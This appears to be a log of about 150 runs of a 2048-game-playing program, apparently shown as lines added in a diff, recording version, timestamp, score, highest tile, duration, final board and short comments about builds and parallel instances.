+0.1.6,16May2014 00:45:11,6208,512,02:53,2.53,437,0.0,28.8,38.7,32.5,[128 512 128 32 - 16 64 8 16 - 8 16 32 8 - 2 4 8 2],
+0.1.6,16May2014 00:47:47,1228,64,00:53,2.81,149,0.0,27.5,40.3,32.2,[64 32 16 4 - 32 8 64 16 - 8 32 16 4 - 2 4 8 16],
+0.1.6,16May2014 00:53:14,528,32,00:27,3.11,84,0.0,36.9,35.7,27.4,[16 8 32 16 - 8 2 16 4 - 4 16 32 2 - 2 4 8 16],
+0.1.6,16May2014 00:58:30,1292,128,00:53,2.53,134,6.7,38.1,35.8,19.4,[2 16 2 4 - 8 64 4 128 - 4 8 32 4 - 2 4 8 2],
+0.1.6,16May2014 01:01:13,1560,128,00:59,2.73,161,0.0,19.3,46.6,34.2,[32 128 2 32 - 8 64 16 8 - 32 16 8 4 - 2 8 4 2],
+0.1.6,16May2014 01:05:42,3296,256,01:40,2.65,265,0.4,18.9,51.7,29.1,[256 128 2 8 - 2 8 32 64 - 4 64 8 4 - 2 4 16 2],
+0.1.6,16May2014 01:11:12,12172,1024,04:41,2.56,719,0.1,24.9,48.5,26.4,[1024 2 128 4 - 32 256 16 2 - 8 64 32 16 - 2 4 8 2],
+0.1.6,16May2014 01:14:31,7524,512,02:50,3.1,527,0.0,24.5,48.0,27.5,[64 512 256 32 - 16 64 128 16 - 8 32 16 4 - 2 4 8 2],
+0.1.6,16May2014 01:18:06,7900,512,03:09,2.98,564,0.0,22.0,48.8,29.3,[64 512 256 64 - 32 128 64 32 - 8 16 32 8 - 2 4 8 2],
+0.1.6,16May2014 01:24:39,17472,1024,05:47,2.99,1039,0.1,26.4,46.7,26.9,[32 256 512 1024 - 4 64 256 64 - 32 16 8 4 - 2 8 4 2],
+0.1.7,16May2014 01:38:10,16376,1024,06:03,2.64,958,0.1,24.4,47.4,28.1,[2 256 512 1024 - 32 64 128 64 - 4 32 16 4 - 2 8 4 2],tim's build
+0.1.7,16May2014 01:41:46,7764,512,03:34,2.56,548,0.4,21.9,47.1,30.7,[64 2 256 64 - 16 128 512 32 - 64 32 8 4 - 2 8 4 2],tim's build
+0.1.7,16May2014 01:45:25,7792,512,03:39,2.51,549,0.2,27.5,46.6,25.7,[64 256 512 64 - 32 128 64 16 - 8 32 16 8 - 2 4 8 4],tim's build
+0.1.7,16May2014 01:51:22,16068,1024,05:55,2.65,941,0.2,25.8,48.8,25.2,[1024 512 2 64 - 8 16 256 32 - 2 128 4 2 - 4 16 2 8],tim's build
+0.1.7,16May2014 01:56:57,13148,1024,05:34,2.4,802,0.1,23.3,47.9,28.7,[128 256 64 2 - 16 128 1024 64 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 02:21:41,3048,256,01:22,3.01,247,7.7,12.1,46.2,34.0,[2 16 2 8 - 64 4 256 2 - 16 128 32 8 - 2 8 4 2],tim's build
+0.1.7,16May2014 02:23:17,3036,256,01:35,2.69,256,3.9,19.5,44.1,32.4,[256 2 4 32 - 32 16 128 16 - 2 8 32 4 - 4 2 16 2],tim's build
+0.1.7,16May2014 02:29:51,15984,1024,05:49,2.72,951,0.2,25.4,47.2,27.1,[64 2 512 1024 - 16 64 256 64 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 02:38:28,21132,1024,08:36,2.44,1261,0.2,28.5,45.4,25.9,[512 1024 512 128 - 64 256 128 64 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 02:51:22,13240,1024,04:51,2.73,794,0.3,25.3,50.0,24.4,[16 256 2 1024 - 8 64 256 32 - 2 32 16 4 - 8 2 4 2],tim's build
+0.1.7,16May2014 02:53:52,5540,512,02:29,2.61,389,0.3,22.4,49.6,27.8,[32 2 128 512 - 2 8 64 32 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 02:57:50,8612,512,03:57,2.51,596,0.2,26.0,48.0,25.8,[128 512 2 128 - 32 128 256 64 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:01:20,7252,512,03:29,2.43,508,0.8,30.1,47.2,21.9,[128 4 64 32 - 16 512 256 16 - 8 32 8 4 - 2 4 16 2],tim's build
+0.1.7,16May2014 03:03:44,5616,512,02:23,2.77,396,0.3,23.0,50.8,26.0,[512 2 32 2 - 32 128 64 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:32:15,5748,512,02:32,2.66,404,0.2,24.5,49.0,26.2,[32 2 512 64 - 16 128 64 16 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:38:11,15688,1024,05:55,2.59,921,0.3,26.6,48.4,24.6,[64 512 256 8 - 2 16 64 1024 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:43:40,14940,1024,05:28,2.68,878,0.1,28.2,48.9,22.8,[32 128 512 1024 - 128 16 32 8 - 16 2 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:47:27,10716,1024,03:46,2.84,642,0.2,25.5,47.5,26.8,[1024 8 32 2 - 32 64 128 32 - 8 16 32 16 - 4 2 4 2],tim's build
+0.1.7,16May2014 03:53:17,16752,1024,05:49,2.87,1003,0.0,27.1,46.8,26.1,[1024 512 256 128 - 32 2 128 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 03:58:40,15260,1024,05:22,2.8,901,0.1,26.6,46.7,26.5,[128 2 512 128 - 32 1024 64 32 - 8 32 16 8 - 2 4 8 2],tim's build
+0.1.7,16May2014 04:05:43,20036,1024,07:01,2.76,1164,0.0,25.6,44.7,29.7,[512 1024 512 128 - 16 64 256 32 - 4 16 8 4 - 8 2 4 2],tim's build
+0.1.7,16May2014 04:09:52,9900,512,04:09,2.72,677,0.0,27.6,44.6,27.8,[256 512 256 128 - 64 128 64 32 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 04:14:45,13284,1024,04:52,2.8,819,0.4,25.3,48.5,25.9,[128 1024 256 64 - 16 64 128 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 04:20:41,16768,1024,05:55,2.83,1006,0.0,25.0,47.9,27.0,[64 256 512 1024 - 32 64 128 64 - 8 32 16 4 - 2 4 2 8],tim's build
+0.1.7,16May2014 04:25:22,13116,1024,04:39,2.84,793,0.3,28.4,47.9,23.5,[1024 2 256 128 - 16 64 128 64 - 8 32 16 8 - 2 4 8 4],tim's build
+0.1.7,16May2014 04:29:02,10524,1024,03:39,2.81,615,0.3,27.8,47.3,24.6,[128 1024 2 32 - 16 32 64 8 - 8 2 32 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 08:35:22,7924,512,03:23,2.7,548,0.0,27.6,44.9,27.6,[128 512 256 32 - 16 64 128 16 - 8 32 16 4 - 4 2 4 2],tim's build
+0.1.7,16May2014 08:42:02,17052,1024,06:39,2.54,1014,0.1,26.3,45.4,28.2,[1024 512 2 64 - 128 256 128 32 - 8 64 16 2 - 2 4 2 8],tim's build
+0.1.7,16May2014 08:44:54,6560,512,02:52,2.6,448,0.4,26.8,49.1,23.7,[32 2 256 512 - 4 16 64 32 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 08:50:32,15052,1024,05:37,2.61,879,0.2,30.6,46.0,23.2,[64 128 512 4 - 16 2 128 1024 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 08:56:29,15320,1024,05:56,2.58,917,0.3,24.9,47.0,27.8,[32 2 128 32 - 8 512 1024 64 - 128 32 8 4 - 2 16 4 2],tim's build
+0.1.7,16May2014 09:01:32,14516,1024,05:02,2.81,848,0.4,25.8,47.9,25.9,[128 1024 512 16 - 2 16 64 32 - 16 32 16 8 - 2 4 2 4],tim's build
+0.1.7,16May2014 09:07:19,16228,1024,05:45,2.79,964,0.0,25.0,49.1,25.9,[1024 512 256 64 - 16 32 128 32 - 2 16 8 4 - 4 8 4 2],tim's build
+0.1.7,16May2014 09:10:44,7504,512,03:24,2.56,523,0.2,23.3,45.3,31.2,[64 2 256 128 - 32 64 512 16 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 09:26:33,3116,256,01:30,2.88,259,0.4,25.5,47.9,26.3,[4 16 2 256 - 64 4 128 16 - 8 16 32 8 - 4 2 8 2],tim's build
+0.1.7,16May2014 09:30:01,7836,512,03:27,2.59,536,0.4,25.4,42.5,31.7,[2 256 2 128 - 32 512 128 64 - 2 32 16 8 - 4 2 4 2],tim's build
+0.1.7,16May2014 09:35:09,12920,1024,05:07,2.59,795,0.0,26.4,46.7,26.9,[64 256 1024 64 - 32 64 128 32 - 8 32 16 8 - 2 4 8 2],tim's build
+0.1.7,16May2014 09:42:21,17600,1024,07:11,2.43,1047,0.3,25.1,47.1,27.5,[256 1024 4 256 - 16 32 512 16 - 8 16 128 4 - 4 2 4 8],tim's build
+0.1.7,16May2014 09:48:33,16488,1024,06:10,2.65,979,0.0,27.0,47.5,25.5,[64 256 512 1024 - 32 64 128 16 - 8 16 32 8 - 2 4 8 2],tim's build
+0.1.7,16May2014 09:55:06,17336,1024,06:32,2.59,1017,0.0,26.9,46.5,26.5,[1024 512 256 64 - 256 64 32 16 - 4 8 16 8 - 2 4 2 4],tim's build
+0.1.7,16May2014 10:01:48,17000,1024,06:41,2.55,1023,0.1,26.5,47.6,25.8,[128 256 512 1024 - 16 128 64 32 - 8 16 32 16 - 2 4 8 2],tim's build
+0.1.7,16May2014 10:04:00,4232,256,02:11,2.66,349,0.3,22.6,46.4,30.7,[128 2 128 32 - 16 64 256 64 - 8 32 16 4 - 4 2 8 2],tim's build
+0.1.7,16May2014 10:09:17,12704,1024,05:16,2.49,787,0.4,25.9,46.5,27.2,[64 2 256 16 - 16 1024 128 32 - 32 64 32 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 10:18:13,27208,2048,08:55,2.65,1418,0.2,26.2,47.1,26.4,[16 256 512 2 - 4 128 64 2048 - 16 32 16 4 - 4 2 8 2],tim's build
+0.1.7,16May2014 10:21:33,7288,512,03:19,2.54,506,0.4,25.5,48.4,25.7,[256 2 128 32 - 32 512 64 16 - 16 32 8 2 - 2 4 2 4],tim's build
+0.1.7,16May2014 10:24:06,5768,512,02:32,2.73,415,0.0,19.8,50.4,29.9,[32 512 128 64 - 16 32 64 4 - 4 8 16 2 - 2 4 2 4],tim's build
+0.1.7,16May2014 10:26:31,5360,512,02:24,2.63,378,0.3,26.2,49.5,24.1,[4 64 2 512 - 2 4 128 8 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 10:29:47,7488,512,03:14,2.7,523,0.4,24.3,49.7,25.6,[512 256 4 64 - 32 16 128 32 - 8 64 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 10:36:02,16628,1024,06:14,2.68,1003,0.3,27.6,46.9,25.2,[1024 512 2 64 - 32 128 256 32 - 16 64 32 8 - 2 4 8 2],tim's build
+0.1.7,16May2014 11:05:16,26700,2048,29:13,4.45,7807,0.0,4.8,90.3,4.9,[64 256 512 2048 - 16 32 64 16 - 8 16 8 2 - 2 4 2 4],tim's build
+0.1.7,16May2014 11:15:18,8344,512,03:39,2.59,567,0.4,29.3,46.0,24.3,[128 2 512 2 - 16 128 256 128 - 8 64 8 2 - 2 4 2 4],tim's build
+0.1.7,16May2014 11:19:04,8316,512,03:45,2.53,570,0.2,27.5,44.6,27.7,[256 512 2 32 - 32 64 256 16 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 11:24:39,14072,1024,05:34,2.52,842,0.2,25.8,46.0,28.0,[256 1024 2 64 - 32 128 256 16 - 16 64 4 2 - 2 4 2 8],tim's build
+0.1.7,16May2014 11:29:47,13632,1024,05:07,2.71,831,0.4,25.4,46.1,28.2,[128 2 256 128 - 32 1024 128 64 - 8 16 32 8 - 4 2 4 2],tim's build
+0.1.7,16May2014 11:32:18,6024,512,02:30,2.87,430,0.2,24.4,47.2,28.1,[64 512 2 64 - 32 64 128 16 - 16 32 8 4 - 4 2 4 2],tim's build
+0.1.7,16May2014 11:37:33,14564,1024,05:15,2.7,852,0.1,25.4,49.2,25.4,[1024 512 2 32 - 32 64 128 16 - 8 32 16 4 - 2 4 2 8],tim's build
+0.1.7,16May2014 11:46:52,25656,2048,09:17,2.37,1319,0.2,26.7,45.8,27.4,[32 8 512 2048 - 16 64 128 32 - 8 32 16 8 - 2 8 4 2],tim's build
+0.1.7,16May2014 11:51:04,10196,512,04:11,2.68,672,0.3,22.5,47.5,29.8,[512 2 512 128 - 16 64 128 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 11:54:48,8140,512,03:43,2.52,562,0.0,26.9,46.6,26.5,[128 512 256 64 - 32 64 128 32 - 4 8 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 12:00:30,14660,1024,05:41,2.52,861,0.1,25.9,46.8,27.2,[128 1024 512 16 - 8 64 4 64 - 4 32 16 4 - 2 4 8 2],tim's build
+0.1.7,16May2014 12:07:11,17164,1024,06:40,2.58,1032,0.3,24.5,46.2,29.0,[1024 512 256 128 - 16 64 128 32 - 8 16 64 16 - 2 4 8 2],tim's build
+0.1.7,16May2014 12:40:46,4032,256,01:55,2.89,332,0.3,26.2,43.1,30.4,[128 256 2 32 - 32 64 128 16 - 16 32 8 2 - 2 4 2 4],
+0.1.7,16May2014 12:49:39,16712,1024,06:36,2.54,1005,0.1,25.7,46.8,27.5,[1024 4 256 64 - 64 512 64 16 - 32 128 16 4 - 2 4 8 2],first run on 6-core with -a
+0.1.7,16May2014 14:22:37,7404,512,03:24,2.52,514,0.2,25.3,49.8,24.7,[64 256 512 2 - 16 32 64 128 - 8 16 8 16 - 4 2 4 2],
+0.1.7,16May2014 14:24:39,12440,1024,05:26,2.3,749,0.1,25.2,48.2,26.4,[1024 256 2 64 - 16 32 128 16 - 8 64 16 4 - 2 4 8 2],
+0.1.7,16May2014 14:31:05,16764,1024,08:27,1.99,1009,0.1,26.3,46.7,27.0,[1024 512 4 64 - 64 128 256 32 - 8 32 64 8 - 2 8 4 2],
+0.1.7,16May2014 14:42:23,14692,1024,06:00,2.41,868,0.1,26.2,47.9,25.8,[64 2 512 1024 - 8 16 128 32 - 4 8 64 8 - 2 4 16 4]," ""5 games on 2 instances"""
+0.1.7,16May2014 14:47:06,26508,2048,10:43,2.16,1389,0.1,25.7,45.0,29.2,[128 2048 2 128 - 64 512 64 8 - 8 16 32 16 - 2 8 4 2]," ""5 games on 2 instances"""
+0.1.7,16May2014 14:47:29,8348,512,05:05,1.96,597,0.2,26.3,46.6,27.0,[128 512 256 64 - 32 128 64 32 - 8 32 16 4 - 2 4 8 2]," ""5 games on 2 instances"""
+0.1.7,16May2014 14:55:51,16440,1024,08:44,1.87,981,0.2,23.0,47.3,29.5,[1024 512 2 32 - 64 128 256 16 - 16 64 8 4 - 2 4 16 2]," ""5 games on 2 instances"""
+0.1.7,16May2014 15:00:06,8144,512,03:43,2.49,556,0.4,25.4,46.8,27.5,[128 512 2 128 - 2 8 256 16 - 16 128 16 4 - 2 4 8 2], 1 games on 1 instances
+0.1.7,16May2014 15:10:07,7104,512,07:46,1.06,495,0.2,26.9,48.5,24.4,[64 2 256 64 - 32 64 512 32 - 8 32 8 2 - 4 2 4 16], 100 games on 10 instances
+0.1.7,16May2014 15:12:19,7148,512,09:56,0.84,498,0.4,25.7,46.4,27.5,[512 2 128 16 - 16 256 32 8 - 8 64 2 4 - 2 4 8 16], 100 games on 10 instances
+0.1.7,16May2014 15:13:10,7172,512,10:47,0.76,493,0.6,23.7,48.9,26.8,[512 4 2 64 - 32 256 32 16 - 8 128 16 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 15:13:27,11124,512,11:04,1.1,731,0.3,25.9,46.1,27.8,[512 4 256 2 - 32 64 512 16 - 16 128 16 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 15:18:50,8276,512,05:22,1.8,579,0.3,24.5,46.5,28.7,[64 256 128 64 - 32 128 512 32 - 8 32 16 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 15:24:13,8100,512,05:22,1.74,559,0.0,26.5,45.8,27.7,[128 512 256 64 - 16 128 64 16 - 8 16 32 8 - 4 2 4 2], 100 games on 10 instances
+0.1.7,16May2014 15:33:12,16536,1024,08:59,1.84,992,0.0,24.7,47.5,27.8,[1024 512 256 64 - 16 64 128 32 - 8 32 16 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 15:36:28,5732,512,03:14,2.09,405,0.5,22.5,49.6,27.4,[64 4 32 16 - 32 512 128 8 - 8 64 16 4 - 4 2 4 2], 100 games on 10 instances
+0.1.7,16May2014 15:42:21,8304,512,05:52,1.66,586,0.0,25.1,45.9,29.0,[128 512 256 64 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 15:54:20,21840,2048,11:58,1.53,1102,0.0,26.1,47.6,26.2,[2048 128 8 64 - 16 32 64 8 - 8 16 32 4 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 16:01:39,14916,1024,07:18,2.0,876,0.2,24.7,49.5,25.6,[64 512 128 4 - 32 64 1024 64 - 8 16 8 16 - 2 4 2 4], 100 games on 10 instances
+0.1.7,16May2014 16:07:22,8788,512,05:41,1.79,611,0.2,26.5,48.4,24.9,[128 512 2 128 - 64 128 256 16 - 8 32 64 8 - 2 4 8 2], 100 games on 10 instances
+0.1.7,16May2014 16:10:58,6432,512,03:35,2.15,463,0.4,26.8,47.9,24.8,[64 128 2 64 - 16 32 512 16 - 8 16 128 2 - 2 4 8 4], 100 games on 10 instances
+0.1.7,16May2014 18:51:03,10904,1024,05:54,1.84,652,0.2,27.3,47.9,24.7,[32 128 64 8 - 16 64 1024 32 - 8 16 32 16 - 2 4 2 4], 50 games on 5 instances
+0.1.7,16May2014 18:53:41,12812,1024,08:32,1.52,777,0.0,23.7,48.0,28.3,[64 1024 256 64 - 32 128 64 16 - 16 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 18:53:59,16284,1024,08:50,1.84,973,0.2,28.3,46.2,25.3,[16 256 2 1024 - 8 32 512 64 - 16 128 32 4 - 2 4 8 16], 50 games on 5 instances
+0.1.7,16May2014 18:54:26,12956,1024,09:17,1.41,787,0.1,24.8,48.8,26.3,[2 128 256 1024 - 16 64 128 32 - 4 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 18:54:30,16296,1024,09:20,1.72,963,0.1,28.0,48.0,23.9,[1024 512 256 64 - 16 32 128 32 - 8 16 32 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:01:58,7956,512,07:27,1.25,560,0.4,24.8,45.7,29.1,[128 512 32 4 - 16 128 256 64 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:03:01,13196,1024,09:19,1.43,802,0.4,25.4,47.5,26.7,[128 2 256 64 - 32 1024 64 16 - 8 32 128 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:04:41,13556,1024,10:41,1.31,840,0.0,25.2,46.7,28.1,[64 1024 256 128 - 32 64 128 64 - 16 32 16 2 - 2 4 2 4], 50 games on 5 instances
+0.1.7,16May2014 19:05:49,23412,2048,14:45,1.36,1204,0.2,26.7,47.3,25.8,[2048 256 128 32 - 16 32 64 16 - 4 16 32 4 - 2 8 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:06:08,16544,1024,11:41,1.4,982,0.3,25.6,46.5,27.6,[256 1024 512 64 - 32 128 64 32 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:07:07,5324,512,05:08,1.2,369,0.8,24.1,47.2,27.9,[4 16 4 2 - 512 64 128 32 - 4 8 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:08:08,5660,512,03:27,1.88,390,0.5,26.9,49.5,23.1,[8 64 2 512 - 128 2 64 32 - 8 16 32 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:12:13,6188,512,05:05,1.36,414,0.2,21.5,48.8,29.5,[4 256 32 16 - 512 4 16 8 - 8 16 32 2 - 2 4 8 16], 50 games on 5 instances
+0.1.7,16May2014 19:12:18,10564,1024,06:28,1.62,627,0.2,23.4,48.5,27.9,[32 128 16 2 - 16 1024 64 16 - 8 32 16 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:15:11,16856,1024,12:09,1.38,1009,0.0,22.2,47.3,30.5,[1024 512 256 128 - 16 64 128 32 - 4 16 8 4 - 2 8 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:19:49,16924,1024,11:40,1.44,1010,0.1,26.3,46.9,26.6,[1024 512 256 128 - 16 64 128 32 - 8 32 16 2 - 2 4 2 4], 50 games on 5 instances
+0.1.7,16May2014 19:23:19,15596,1024,10:59,1.38,907,0.2,27.6,47.3,24.9,[8 512 256 64 - 2 1024 64 8 - 8 32 16 4 - 4 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:25:49,16348,1024,10:37,1.51,962,0.1,24.6,48.2,27.0,[2 512 256 64 - 1024 128 64 16 - 8 32 16 4 - 2 4 2 8], 50 games on 5 instances
+0.1.7,16May2014 19:26:15,8080,512,06:25,1.45,559,0.2,24.5,48.7,26.7,[2 512 256 64 - 128 64 128 32 - 8 16 2 16 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:27:15,31624,2048,21:06,1.29,1628,0.1,25.3,47.2,27.4,[128 1024 128 64 - 16 64 2048 32 - 8 32 16 4 - 4 2 4 8], 50 games on 5 instances
+0.1.7,16May2014 19:29:08,3536,256,03:18,1.51,298,0.3,22.5,46.3,30.9,[256 2 64 16 - 16 64 128 32 - 8 32 16 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:31:07,26784,2048,18:53,1.22,1380,0.1,25.5,47.9,26.5,[64 2 512 2048 - 2 256 64 32 - 16 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:31:26,8904,512,08:06,1.24,605,0.0,26.4,48.3,25.3,[256 512 256 64 - 16 32 128 32 - 4 16 8 4 - 2 8 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:37:43,11996,1024,08:34,1.38,708,0.1,23.9,48.3,27.7,[1024 2 32 4 - 16 256 128 32 - 4 32 4 8 - 2 16 2 4], 50 games on 5 instances
+0.1.7,16May2014 19:39:46,15860,1024,12:30,1.25,940,0.1,25.6,47.7,26.6,[32 256 512 1024 - 64 32 64 32 - 4 16 8 4 - 8 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:41:18,12720,1024,09:52,1.29,764,0.0,24.7,48.4,26.8,[64 4 256 1024 - 32 64 128 64 - 16 32 8 4 - 4 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:43:44,14824,1024,12:36,1.19,901,0.2,24.8,45.1,30.0,[256 1024 256 128 - 64 128 64 16 - 8 32 16 2 - 2 4 2 4], 50 games on 5 instances
+0.1.7,16May2014 19:45:26,25284,2048,19:10,1.15,1328,0.2,25.7,47.4,26.8,[256 2048 256 4 - 32 64 128 64 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:48:40,11020,1024,08:53,1.23,658,0.2,25.5,45.9,28.4,[64 128 8 2 - 32 64 1024 32 - 8 16 64 2 - 4 8 2 4], 50 games on 5 instances
+0.1.7,16May2014 19:50:34,16360,1024,12:50,1.27,979,0.1,26.9,47.3,25.7,[32 256 512 1024 - 16 64 128 32 - 8 32 16 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:52:37,15880,1024,11:18,1.37,926,0.2,26.5,45.1,28.2,[8 512 128 4 - 4 1024 256 32 - 16 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 19:53:45,10800,1024,08:18,1.29,643,0.5,26.0,46.3,27.2,[64 2 1024 16 - 16 128 64 32 - 8 32 16 8 - 4 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 19:54:11,16468,1024,10:27,1.56,975,0.1,26.3,47.1,26.6,[2 512 256 64 - 1024 64 128 32 - 8 16 32 16 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:00:24,16152,1024,09:49,1.62,957,0.1,24.6,49.0,26.3,[1024 512 256 64 - 2 16 128 16 - 8 32 16 4 - 4 2 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:01:02,12764,1024,08:23,1.54,774,0.4,27.1,48.3,24.2,[128 256 2 64 - 64 1024 64 32 - 8 32 16 4 - 2 4 2 8], 50 games on 5 instances
+0.1.7,16May2014 20:01:16,16492,1024,12:35,1.3,985,0.1,28.0,46.0,25.9,[1024 2 256 64 - 16 512 128 32 - 8 32 64 8 - 2 8 4 2], 50 games on 5 instances
+0.1.7,16May2014 20:06:26,16444,1024,12:13,1.32,969,0.1,26.9,47.1,25.9,[1024 512 256 64 - 16 64 128 32 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:07:38,17280,1024,13:52,1.24,1035,0.2,27.7,45.1,27.0,[128 1024 512 2 - 16 128 256 128 - 4 32 16 8 - 2 8 4 2], 50 games on 5 instances
+0.1.7,16May2014 20:09:08,7096,512,07:51,1.03,483,0.0,26.3,45.3,28.4,[512 256 128 16 - 2 16 32 64 - 16 4 16 4 - 4 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 20:09:11,11156,1024,08:08,1.37,668,0.0,26.2,46.1,27.7,[128 1024 128 8 - 16 32 64 2 - 8 16 8 16 - 4 2 4 2], 50 games on 5 instances
+0.1.7,16May2014 20:12:08,15776,1024,11:43,1.32,931,0.1,25.3,47.3,27.3,[64 256 512 32 - 16 64 1024 16 - 8 32 8 2 - 2 4 2 4], 50 games on 5 instances
+0.1.7,16May2014 20:13:44,8120,512,07:17,1.31,573,0.7,28.3,46.1,25.0,[64 512 2 128 - 16 8 256 64 - 8 32 128 4 - 4 2 4 8], 50 games on 5 instances
+0.1.7,16May2014 20:18:45,16568,1024,11:06,1.5,1000,0.1,25.1,46.0,28.8,[1024 512 256 32 - 64 128 64 16 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:20:59,17068,1024,11:47,1.46,1029,0.0,27.7,47.3,25.0,[1024 512 256 128 - 32 64 128 32 - 16 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:23:20,16632,1024,14:11,1.18,1004,0.0,27.0,47.4,25.6,[1024 512 256 64 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:23:24,12468,1024,09:39,1.29,749,0.3,26.3,47.9,25.5,[1024 2 128 2 - 32 64 256 64 - 8 32 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:28:28,27500,2048,16:18,1.47,1434,0.1,25.7,47.2,26.9,[64 256 2 2048 - 32 64 512 32 - 8 128 16 4 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 20:32:25,24380,2048,13:39,1.57,1289,0.1,27.8,45.5,26.6,[2048 128 2 128 - 32 64 256 64 - 8 16 32 4 - 2 4 8 16], 50 games on 5 instances
+0.1.7,16May2014 20:38:12,32112,2048,14:51,1.83,1629,0.1,25.6,47.0,27.3,[2048 1024 4 2 - 8 32 256 64 - 4 16 2 128 - 2 4 8 4], 50 games on 5 instances
+0.1.7,16May2014 20:43:58,8484,512,05:45,1.76,606,0.0,22.8,47.5,29.7,[128 512 256 64 - 64 128 64 16 - 16 32 16 8 - 2 4 8 2], 50 games on 5 instances
+0.1.7,16May2014 23:09:14,26992,2048,12:37,1.85,1400,0.0,26.9,47.2,25.9,[32 256 512 2048 - 4 32 128 16 - 8 16 8 4 - 4 2 4 2], 2 games on 2 instances
+0.1.7,16May2014 23:09:36,27736,2048,12:59,1.89,1472,0.3,27.0,45.5,27.1,[2048 256 2 64 - 32 128 512 32 - 16 64 32 4 - 2 4 8 16], 2 games on 2 instances
+0.1.7,17May2014 00:29:08,16932,1024,07:43,2.18,1011,0.0,26.8,46.5,26.7,[1024 512 256 128 - 32 128 64 16 - 8 16 32 4 - 4 2 4 8], 1 games on 1 instances
+0.1.7,17May2014 00:39:49,11052,1024,05:07,2.14,658,0.3,26.4,48.2,25.1,[32 128 32 4 - 16 1024 128 32 - 8 16 8 16 - 2 4 2 4], 3 games on 2 instances
+0.1.7,17May2014 00:42:44,17124,1024,08:02,2.13,1027,0.1,24.5,47.4,27.9,[64 1024 256 128 - 16 128 512 64 - 8 32 16 4 - 2 4 8 2], 3 games on 2 instances
+0.1.7,17May2014 00:49:50,17840,1024,09:59,1.75,1051,0.1,26.2,44.6,29.1,[256 1024 2 128 - 32 64 512 16 - 8 256 32 4 - 2 4 2 8], 3 games on 2 instances
+0.1.7,17May2014 01:09:30,15724,1024,06:37,2.32,923,0.2,26.0,44.7,29.0,[1024 512 2 64 - 2 64 256 32 - 8 32 16 4 - 4 2 8 2],1 games on 1 instances
+0.1.7,17May2014 01:26:01,8320,512,04:05,2.41,590,0.0,26.3,46.9,26.8,[128 512 256 64 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2],1 games on 1 instances
+0.1.7,17May2014 01:34:37,14964,1024,06:48,2.28,929,0.2,28.7,44.0,27.0,[256 1024 2 128 - 2 64 256 64 - 32 128 32 4 - 2 4 8 2],
+0.1.7,17May2014 01:47:09,12600,1024,05:31,2.3,761,0.0,27.3,47.0,25.6,[64 256 1024 32 - 32 64 128 16 - 4 16 32 4 - 2 4 8 2],
